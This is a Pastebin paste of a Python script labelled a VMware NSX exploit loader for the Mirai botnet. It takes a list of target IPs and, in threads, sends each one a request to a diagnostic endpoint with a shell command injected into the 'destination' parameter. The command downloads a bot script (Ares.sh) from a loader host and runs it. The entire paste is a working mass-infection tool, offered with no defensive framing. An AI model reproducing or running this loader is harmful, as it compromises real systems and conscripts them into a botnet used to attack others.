xB4ckdoorREAL

[VMWARE NSX EXPLOIT LOADER] [RCE] [MIRAI]

Dec 12th, 2019
658
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.83 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # VMware NSX Exploit made by B4CKDOOR #
  4. # B4CKDOORARCHIVE.HOST - https://discord.gg/MVktpTW #
  5.  
  6. import threading, random, socket, time, sys, requests, re, os
  7. from threading import Thread
  8. from time import sleep
  9. import requests
  10. from requests.auth import HTTPDigestAuth
  11. from decimal import *  
  12.  
  13. if len(sys.argv) < 3:
  14.     print "\033[37mUsage: python "+sys.argv[0]+" <list> <port>\033[37m"
  15.     sys.exit()
  16.  
  17. ip = "1.3.3.7" # BINS LOCATION IP
  18. vulns = open(sys.argv[1], "r").readlines()
  19. port = int(sys.argv[2]) # VMWARE PORTS
  20.  
  21. headers = "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: https://www.vmware.com\r\nConnection: close\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nCookie: culture=en-us"
  22.  
  23. class send_payload(threading.Thread):
  24.     def __init__ (self, ip):
  25.         threading.Thread.__init__(self)
  26.         self.ip = str(ip).rstrip('\n')
  27.     def run(self):
  28.         try:
  29.             url = "http://" + self.ip + ":"+port+"/scripts/ajaxPortal.lua?destination=8.8.8.8$(wget http://" + ip + "/Ares.sh; curl -O http://" + ip + "/Ares.sh; chmod +x Ares.sh; sh Ares.sh)&source=192.168.0.1&test=BASIC_PING&requestTimeout=90&auth_token=&_cmd=run_diagnostic&destination=8.8.8.8$(wget http://" + ip + "/Ares.sh; curl -O http://" + ip + "/Ares.sh; chmod +x Ares.sh; sh Ares.sh)&test=DNS_TEST&requestTimeout=90&auth_token=&_cmd=run_diagnostic"
  30.             requests.post(url, headers=headers, timeout=3)
  31.             print "[VmWARE] Loading: %s"%(self.ip)
  32.         except:
  33.             pass
  34.  
  35. for IP in vulns:
  36.     try:
  37.         ip = "".join(IP)
  38.         ip = ip.replace("\n", "")
  39.         t = send_payload(ip)
  40.         t.start()
  41.         time.sleep(0.03)
  42.     except:
  43.         pass #CODED BY B4CKDOOR
Advertisement
Add Comment
Please, Sign In to add comment